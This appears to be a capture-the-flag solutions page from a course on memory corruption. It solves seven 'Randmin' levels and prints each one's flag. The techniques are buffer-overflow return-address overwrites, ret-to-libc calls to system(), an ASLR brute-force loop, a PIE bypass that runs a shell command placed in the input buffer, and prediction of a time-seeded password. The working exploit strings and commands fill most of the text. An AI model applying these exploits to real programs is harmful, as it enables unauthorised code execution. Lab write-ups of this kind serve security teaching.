Randmin

This set of tasks requires you to enter an unguessable password in order to run 'cat' on the flag file. Because of a buffer overflow vulnerability you can bypass password checking.

Randmin_01

Analyzing the source code we see that there is a distinct procedure that is called when the password is correct.

char cmd[] = "cat flags/randmin_01_flag" ;
void correct_passwd()
{
        printf("Nice to see you again!\n");
        printf("Running your favorite command:\n");
        system(cmd);
}

Somehow, we would like to hijack execution flow into that function. Because the code uses 'strcpy()' instead of the safer 'strncpy()' the user input can go beyond the buffer space and overwrite everything in the stack frame including the return address. The execution is then redirected to the address that is extracted (in little-endian) from the string.

randmin_01@dmns-VirtualBox:~$ ./randmin_01
Enter the password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You are not the Randministrator!
This unauthorized attempt will be logged.
Segmentation fault
randmin_01@dmns-VirtualBox:~$ dmesg | tail -1
[142610.643485] randmin_01[18174]: segfault at 41414141 ip 0000000041414141 sp 00000000ffffd6d0 error 14
randmin_01@dmns-VirtualBox:~$ ./randmin_01
Enter the password:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAA
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAA
You are not the Randministrator!
This unauthorized attempt will be logged.
Segmentation fault
randmin_01@dmns-VirtualBox:~$ dmesg | tail -1
[142675.587738] randmin_01[18235]: segfault at 414f4141 ip 00000000414f4141 sp 00000000ffffd6d0 error 14

The return address was 00000000414f4141 so let's convert it back so we know where in the string we can replace to redirect control flow

randmin_01@dmns-VirtualBox:~$ python
>>> "414f4141".decode("hex")
'AOAA'
>>> "AOAA"[::-1] #invert bytes to convert back from little-endian
'AAOA'
>>> "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAA".find("AAOA")
112
>>> "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAA"[0:112]
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn'

So any 4 bytes after the first 112 bytes of the string are interpreted as the return address. Let's test this by jumping to address 0xDEADCAFE: the bytes will need to be given as FE CA AD DE. We use echo to print these raw bytes:

randmin_01@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\xFE\xCA\xAD\xDE"   | ./randmin_01
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn
You are not the Randministrator!
This unauthorized attempt will be logged.
Segmentation fault
randmin_01@dmns-VirtualBox:~$ dmesg | tail -1
[143440.097845] randmin_01[18245]: segfault at deadcafe ip 00000000deadcafe sp 00000000ffffd6d0 error 14

The segfaults occur because there is nothing mapped at that address so there is nothing to execute and the program is ended by the kernel. If we replace the segfault address with something useful we can hijack control flow where we want to. In this case we want to jump to the function 'correct_passwd'. This function is just a label for a specific portion of the code, we can find where it begins using 'nm'

randmin_01@dmns-VirtualBox:~$ nm randmin_01 | grep correct_passwd
08048692 T correct_passwd
randmin_01@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x92\x86\x04\x08"   | ./randmin_01
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn��
You are not the Randministrator!
This unauthorized attempt will be logged.
Nice to see you again!
Running your favorite command:
2c9788a87a7acb45cdb145f1a838af40

Randmin_02

This task cannot be solved like the previous one because there is no “correct_passwd” to jump to. The system() call is in the middle of the function, in an else branch.

void check_passwd(char *given)
{
        int res = memcmp(given, passwd, PASS_LEN);
        if (res != 0) {
                printf("You are not the Randministrator!\n");
                printf("This unauthorized attempt will be logged.\n");
        } else {
                printf("Nice to see you again!\n");
                printf("Running your second favorite command:\n");
                system(cmd);
        }
}

We can, however, look at the disassembly and figure out where to jump from that:

randmin_02@dmns-VirtualBox:~$ objdump -Mintel -d randmin_02 | grep "<check_passwd>:" -A 27
08048692 <check_passwd>:
 8048692:	55                   	push   ebp
 8048693:	89 e5                	mov    ebp,esp
 8048695:	83 ec 28             	sub    esp,0x28
 8048698:	c7 44 24 08 08 00 00 	mov    DWORD PTR [esp+0x8],0x8
 804869f:	00 
 80486a0:	c7 44 24 04 28 a0 04 	mov    DWORD PTR [esp+0x4],0x804a028
 80486a7:	08 
 80486a8:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 80486ab:	89 04 24             	mov    DWORD PTR [esp],eax
 80486ae:	e8 cd fd ff ff       	call   8048480 <memcmp@plt>
 80486b3:	89 45 f4             	mov    DWORD PTR [ebp-0xc],eax
 80486b6:	83 7d f4 00          	cmp    DWORD PTR [ebp-0xc],0x0  ; Is the result of memcmp 0 ?
 80486ba:	74 1a                	je     80486d6 <check_passwd+0x44>  ;  If yes jump 
 
 80486bc:	c7 04 24 00 88 04 08 	mov    DWORD PTR [esp],0x8048800  ; If not, do a puts()
 80486c3:	e8 e8 fd ff ff       	call   80484b0 <puts@plt>
 
 80486c8:	c7 04 24 24 88 04 08 	mov    DWORD PTR [esp],0x8048824  ; And another one
 80486cf:	e8 dc fd ff ff       	call   80484b0 <puts@plt>
 
 80486d4:	eb 24                	jmp    80486fa <check_passwd+0x68> ;  And then exit
 
 80486d6:	c7 04 24 4e 88 04 08 	mov    DWORD PTR [esp],0x804884e ; If the password was identical (memcmp returned 0) we jumped here.
 80486dd:	e8 ce fd ff ff       	call   80484b0 <puts@plt>        ;puts() as before
 
 80486e2:	c7 04 24 68 88 04 08 	mov    DWORD PTR [esp],0x8048868 ; note how the argument is stored on the stack
 80486e9:	e8 c2 fd ff ff       	call   80484b0 <puts@plt>
 
 80486ee:	c7 04 24 08 a0 04 08 	mov    DWORD PTR [esp],0x804a008  ; the same before calling system(cmd)
 80486f5:	e8 c6 fd ff ff       	call   80484c0 <system@plt>
 80486fa:	c9                   	leave  
 80486fb:	c3                   	ret 

The jump location this time is where system(cmd) is called: 0x080486ee.

randmin_02@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\xee\x86\x04\x08"   | ./randmin_02
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn��
You are not the Randministrator!
This unauthorized attempt will be logged.
d1c740616eea5ce69d53a4493cf15fa7

Randmin_03

Similar to the previous challenge, we can call system() using the .text segment. The program calls system(“cd .”) so we need to change the argument.

08048692 <check_passwd>:
 ..........
 80486b6:	c7 04 24 00 88 04 08 	mov    DWORD PTR [esp],0x8048800
 80486bd:	e8 fe fd ff ff       	call   80484c0 <system@plt>

The call to system() is done by putting 0x08048800 (address of “cd .”) on the stack and calling 0x080484c0. We can simulate this by putting the address of cmd on stack instead (right after the return address)

randmin_03@dmns-VirtualBox:~$ nm randmin_03 | grep cmd
0804a008 D cmd
randmin_03@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\xbd\x86\x04\x08\x08\xa0\x04\x08"   | ./randmin_03
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn��
You are not the Randministrator!
This unauthorized attempt will be logged.
7a9fb7aeb4326ab93aec418ef7ae55f2

Note that as the return address we used the address of where “call system” is. This is because the 'call' instruction does not simply jump to an address, it also adds an extra pseudo-parameter to the function which is the return address where execution will continue after that specific call is ended. So if we want to call system() (0x080484c0) directly we just add this parameter manually (the actual value is irrelevant, any 4 bytes work).

randmin_03@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\xc0\x84\x04\x08ABCD\x08\xa0\x04\x08"   | ./randmin_03
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn��ABCD�
You are not the Randministrator!
This unauthorized attempt will be logged.
7a9fb7aeb4326ab93aec418ef7ae55f2

Randmin_04

In this task system() is not called anymore so the compiler did not introduce a .text address for system() and you can't find it using objdump. However, libc.so is imported nonetheless so system() should be somewhere in the address space (in the mmap-ed region to be more specific).

randmin_04@dmns-VirtualBox:~$ gdb ./randmin_04
Reading symbols from /home/randmin_04/randmin_04...done.
(gdb) break *main
Breakpoint 1 at 0x80486c0: file randmin_04.c, line 49.
(gdb) run
Starting program: /home/randmin_04/randmin_04 
 
Breakpoint 1, main () at randmin_04.c:49
49	{
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e54430 <system>

The rest of the solution is identical to Randmin_03.

randmin_04@dmns-VirtualBox:~$ nm randmin_04 | grep  cmd
0804a008 D cmd
randmin_04@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x44\xe5\xf7ABCD\x08\xa0\x04\x08"   | ./randmin_04
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0D��ABCD�
You are not the Randministrator!
This unauthorized attempt will be logged.
7784f7705baafd29e7cfbd1f2d8a7c9d

Randmin_05

This task introduces the ASLR mitigation method: the heap, stack and mmap(including shared libraries) are randomized. We used libc before so let's see if we can now:

randmin_05@dmns-VirtualBox:~$ aslr_online # This just does 'cat 2 > /proc/sys/kernel/randomize_va_space' with root permission to activate ASLR
randmin_05@dmns-VirtualBox:~$ ldd randmin_05_32 
	linux-gate.so.1 =>  (0xf7728000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7562000)
	/lib/ld-linux.so.2 (0xf7729000)
randmin_05@dmns-VirtualBox:~$ ldd randmin_05_32 
	linux-gate.so.1 =>  (0xf777e000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75b8000)
	/lib/ld-linux.so.2 (0xf777f000)
randmin_05@dmns-VirtualBox:~$ ldd randmin_05_32 
	linux-gate.so.1 =>  (0xf7796000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75d0000)
	/lib/ld-linux.so.2 (0xf7797000)

Because there is low randomness we can just bruteforce it.

randmin_05@dmns-VirtualBox:~$ gdb ./randmin_05_32 
Reading symbols from /home/randmin_05/randmin_05_32...done.
(gdb) set disable-randomization off
(gdb) b *main
Breakpoint 1 at 0x8048684: file randmin_05.c, line 49.
(gdb) run
Starting program: /home/randmin_05/randmin_05_32 
 
Breakpoint 1, main () at randmin_05.c:49
49	{
(gdb) p system
$1 = {<text variable, no debug info>} 0xf75f5430 <system>
 
randmin_05@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x54\x5f\xf7ABCD\x08\xa0\x04\x08"   | ./randmin_05_32
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC�
You are not the Randministrator!
This unauthorized attempt will be logged.
Segmentation fault
randmin_05@dmns-VirtualBox:~$ cat brute_force.sh 
#!/bin/bash
 
while [ 1 ] ; do
	echo -n $(echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x54\x5f\xf7ABCD\x08\xa0\x04\x08"   | ./randmin_05_32)
done;

Letting it run for about 15 seconds gives this output:

randmin_05@dmns-VirtualBox:~$ ./brute_force.sh
387735041953c992552d64689d5855ca(null)(null):0: ���������������%���F���U���c���q�������������������������1���D���d���r������������������(null)Assertion `' failed.
Enter the password: You entered: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC� You are not the Randministrator! This unauthorized attempt will be logged.(null)(null):0: ��������ň�����%���F�U�c�q���؎��펕�����1�D�d�r����Ï��֏��(null)Assertion `' failed.
Enter the password: You entered: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC� You are not the Randministrator! This unauthorized attempt will be logged.387735041953c992552d64689d5855ca(null)(null):0: ���������������%���F���U���c���q�������������������������1���D���d���r������������������(null)Assertion `' failed.
Enter the password: You entered: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC� You are not the Randministrator! This unauthorized attempt will be logged.(null)(null):0: �����������%��F��U��c��q������������������1��D��d��r�������������(null)Assertion `' failed.
Enter the password: You entered: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC� You are not the Randministrator! This unauthorized attempt will be logged.387735041953c992552d64689d5855ca(null)(null):0: �h���h���h��i��%i��Fn��Un��cn��qn���n���n���n���n��o����1o��Do��do��ro��o���o���o���o��(null)Assertion `' failed.
Enter the password: You entered: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0T_�ABC� You are not the Randministrator! This unauthorized attempt will be logged.^C
randmin_05@dmns-VirtualBox:~$ 

Another method is to deactivate mmap randomization (as I mentioned in the slides) using 'ulimit -s unlimited'. Remember that the heap and stack are still randomized.

randmin_05@dmns-VirtualBox:~$ ulimit -s unlimited
randmin_05@dmns-VirtualBox:~$ ldd randmin_05_32 
	linux-gate.so.1 =>  (0x55577000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x55595000)
	/lib/ld-linux.so.2 (0x55555000)
randmin_05@dmns-VirtualBox:~$ ldd randmin_05_32 
	linux-gate.so.1 =>  (0x55577000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x55595000)
	/lib/ld-linux.so.2 (0x55555000)
randmin_05@dmns-VirtualBox:~$ gdb ./randmin_05_32 
Reading symbols from /home/randmin_05/randmin_05_32...done.
(gdb) set disable-randomization off
(gdb) b *main
Breakpoint 1 at 0x8048684: file randmin_05.c, line 49.
(gdb) run 
Starting program: /home/randmin_05/randmin_05_32 
 
Breakpoint 1, main () at randmin_05.c:49
49	{
(gdb) p system
$1 = {<text variable, no debug info>} 0x555d4430 <system>
(gdb) quit
randmin_05@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x44\x5d\x55ABCD\x08\xa0\x04\x08"  | ./randmin_05_32 
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0D]UABC�
You are not the Randministrator!
This unauthorized attempt will be logged.
387735041953c992552d64689d5855ca

Randmin_06

This is the final memory corruption level. The difference to the previous level is that the .text segment is also randomized (PIE) so even if we can call system we don't have any reliable memory location to give it. If we try 'nm' we get an offset to the randomized beginning.

randmin_06@dmns-VirtualBox:~$ nm randmin_06 | grep cmd
00002008 D cmd

The only reliable memory region is the mmap-ings. So what can we use from there? You need to know two things: stdin and stdout are buffered (with more than 256 bytes) and that any memory allocation above 256 bytes will be mmap-ed. This means that somewhere in the mmap region, the text we entered is in a buffer (this buffer is created when using an input function like scanf or fgets)

(gdb) p system
$1 = {<text variable, no debug info>} 0x555d7430 <system>
randmin_06@dmns-VirtualBox:~$ strace -e mmap2 ./randmin_06
[ Process PID=6078 runs in 32 bit mode. ]
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x5557b000
mmap2(NULL, 106554, PROT_READ, MAP_PRIVATE, 3, 0) = 0x5557d000
mmap2(NULL, 1739484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x55598000
mmap2(0x5573b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a3) = 0x5573b000
mmap2(0x5573e000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5573e000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x55741000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x5557d000
Enter the password:
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x5557e000
You entered:
....

We can clearly see that there is a mmap-ing done right before we need to input the password. Let's use that one:

randmin_06@dmns-VirtualBox:~$ echo -e "AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x74\x5d\x55ABCD\x00\xe0\x57\x55" | ./randmin_06
Enter the password:
You entered:
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0t]UABCD
You are not the Randministrator!
This unauthorized attempt will be logged.
sh: 1: AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0t]UABCD: not found

So it works. We only need to craft the input such that it prints the flag

randmin_06@dmns-VirtualBox:~$ echo -e "cat flags/randmin_06_flag;#DAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn\x30\x74\x5d\x55ABCD\x00\xe0\x57\x55" | ./randmin_06
Enter the password:
You entered:
cat flags/randmin_06_flag;#DAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAn0t]UABCD
You are not the Randministrator!
This unauthorized attempt will be logged.
b861be315d3cabecfc2db8025a7eabe3

And that concludes the memory corruption tasks. There was a bonus task as well that cannot be solved using these techniques

Randmin_07 (Bonus)

Because this executable uses Stack Smashing Protector you need to use a different approach. The problem was in the password generation all along:

void set_passwd()
{
        size_t i,interv_size = LAST_PRINTABLE - FIRST_PRINTABLE + 1;
        srand(time(NULL));
        for (i = 0; i < PASS_LEN; i++)
                passwd[i] = rand() % interv_size + FIRST_PRINTABLE;
        passwd[PASS_LEN] = '\0';
 
        sleep(2);
        /* printf("Password set to [%s]\n", passwd); */
}

The key thing to note is 'srand(time(NULL))' which uses the current time in seconds to generate random numbers. This means that the password is the same if you run the program multiple times in the same second. But there is a sleep() call that prevents us from seeing it. Recompile your own version with a custom set_passwd:

void set_passwd()
{
        size_t i,interv_size = LAST_PRINTABLE - FIRST_PRINTABLE + 1;
        srand(time(NULL));
        for (i = 0; i < PASS_LEN; i++)
                passwd[i] = rand() % interv_size + FIRST_PRINTABLE;
        passwd[PASS_LEN] = '\0';
 
        /* sleep(2); */
        printf("Password set to [%s]\n", passwd);
        exit(0);
}

Here's the output now:

randmin_07@dmns-VirtualBox:~$ gcc -Wall my_randmin_07.c -o my_randmin_07
randmin_07@dmns-VirtualBox:~$ ./my_randmin_07
Password set to [MbrUyqpx]
randmin_07@dmns-VirtualBox:~$ ./my_randmin_07  #same second as above
Password set to [MbrUyqpx]
randmin_07@dmns-VirtualBox:~$ ./my_randmin_07  #next second
Password set to [EuBQxMkc]

Now it's just a matter of starting them one immediately after another:

randmin_07@dmns-VirtualBox:~$ ./my_randmin_07 &&  ./randmin_07
Password set to [qbrYJlwT]
Enter the password:
qbrYJlwT
You entered:
qbrYJlwT
Nice to see you again!
I added top grade memory protection: SSP
If you've defeated it, you deserve a medal!
f29e71e517d2a87de95d2ac327cab92a
sesiuni/memory/ctf_sols/randmin.txt · Last modified: 2013/07/19 21:16 by rcaragea